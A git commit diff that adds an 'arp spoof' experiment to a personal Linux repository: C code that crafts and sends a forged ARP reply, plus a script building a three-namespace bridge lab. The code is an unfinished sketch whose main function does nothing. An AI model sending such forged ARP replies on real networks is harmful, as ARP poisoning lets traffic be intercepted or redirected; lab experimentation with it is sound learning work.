]> git.feebdaed.xyz Git - linuxyz.git/commitdiff
arp spoof
authorseantywork <seantywork@gmail.com>
Fri, 29 Aug 2025 04:55:48 +0000 (13:55 +0900)
committerseantywork <seantywork@gmail.com>
Fri, 29 Aug 2025 04:55:48 +0000 (13:55 +0900)
spoof-arp/Makefile [new file with mode: 0644]
spoof-arp/README.md [new file with mode: 0644]
spoof-arp/main.c [new file with mode: 0644]
spoof-arp/setup.sh [new file with mode: 0755]

diff --git a/spoof-arp/Makefile b/spoof-arp/Makefile
new file mode 100644 (file)
index 0000000..a15adae
--- /dev/null
@@ -0,0 +1,4 @@
+all:
+       gcc -g -o spoof.out main.c
+clean:
+       rm -rf *.out *.o
diff --git a/spoof-arp/README.md b/spoof-arp/README.md
new file mode 100644 (file)
index 0000000..e47ebe9
--- /dev/null
@@ -0,0 +1 @@
+# spoof-arp
\ No newline at end of file
diff --git a/spoof-arp/main.c b/spoof-arp/main.c
new file mode 100644 (file)
index 0000000..eb4173d
--- /dev/null
@@ -0,0 +1,53 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <ifaddrs.h>
+
+
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <net/ethernet.h>
+#include <net/if.h>
+#include <arpa/inet.h>
+#include <netpacket/packet.h>
+#include <netinet/if_ether.h>
+
+#define ITS_IP "10.168.0.1"
+#define YOUR_IP "10.168.0.2"
+
+
+void do_spoof(int fd, char* if_name, uint8_t* my_mac, uint32_t its_ip, uint8_t* your_mac, uint32_t your_ip){
+       struct ether_arp resp;
+       struct ifreq ifr;
+       //set_ifr_name(&ifr, if_name);
+
+       struct sockaddr_ll addr = {0};
+       addr.sll_family         = AF_PACKET;
+       //addr.sll_ifindex        = get_ifr_ifindex(fd, &ifr);
+       addr.sll_halen          = ETHER_ADDR_LEN;
+       addr.sll_protocol       = htons(ETH_P_ARP);
+       memcpy(addr.sll_addr, your_mac, ETHER_ADDR_LEN);
+
+       resp.arp_hrd = htons(ARPHRD_ETHER);
+       resp.arp_pro = htons(ETH_P_IP);
+       resp.arp_hln = ETHER_ADDR_LEN;
+       resp.arp_pln = sizeof(in_addr_t);
+       resp.arp_op  = htons(ARPOP_REPLY);
+
+       memcpy(&resp.arp_sha, my_mac, sizeof(resp.arp_sha));
+       memcpy(&resp.arp_spa, &its_ip,  sizeof(resp.arp_spa));
+       memcpy(&resp.arp_tha, your_mac,   sizeof(resp.arp_tha));
+       memcpy(&resp.arp_tpa, &your_ip,   sizeof(resp.arp_tpa));
+
+       if (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
+               printf("spoof: error\n");
+       }
+}
+
+
+int main(){
+
+    return 0;
+}
\ No newline at end of file
diff --git a/spoof-arp/setup.sh b/spoof-arp/setup.sh
new file mode 100755 (executable)
index 0000000..24e9c67
--- /dev/null
@@ -0,0 +1,45 @@
+#!/bin/bash
+
+sudo ip link add br0 type bridge 
+
+sudo ip link set br0 type bridge stp_state 1
+
+
+sudo ip netns add vnet0
+
+sudo ip link add dev veth01 type veth peer name veth02 netns vnet0
+
+sudo ip link set up veth01
+
+sudo ip netns exec vnet0 ip link set up veth02
+
+sudo ip netns exec vnet0 ip addr add 10.168.0.1/24 dev veth02
+
+sudo ip netns add vnet1
+
+sudo ip link add dev veth11 type veth peer name veth12 netns vnet1
+
+sudo ip link set up veth11
+
+sudo ip netns exec vnet1 ip link set up veth12
+
+sudo ip netns exec vnet1 ip addr add 10.168.0.2/24 dev veth12
+
+sudo ip netns add vnet2
+
+sudo ip link add dev veth21 type veth peer name veth22 netns vnet2
+
+sudo ip link set up veth21
+
+sudo ip netns exec vnet2 ip link set up veth22
+
+sudo ip netns exec vnet2 ip addr add 10.168.0.200/24 dev veth22
+
+
+sudo ip link set veth01 master br0
+
+sudo ip link set veth11 master br0
+
+sudo ip link set veth21 master br0
+
+sudo ip link set br0 up
\ No newline at end of file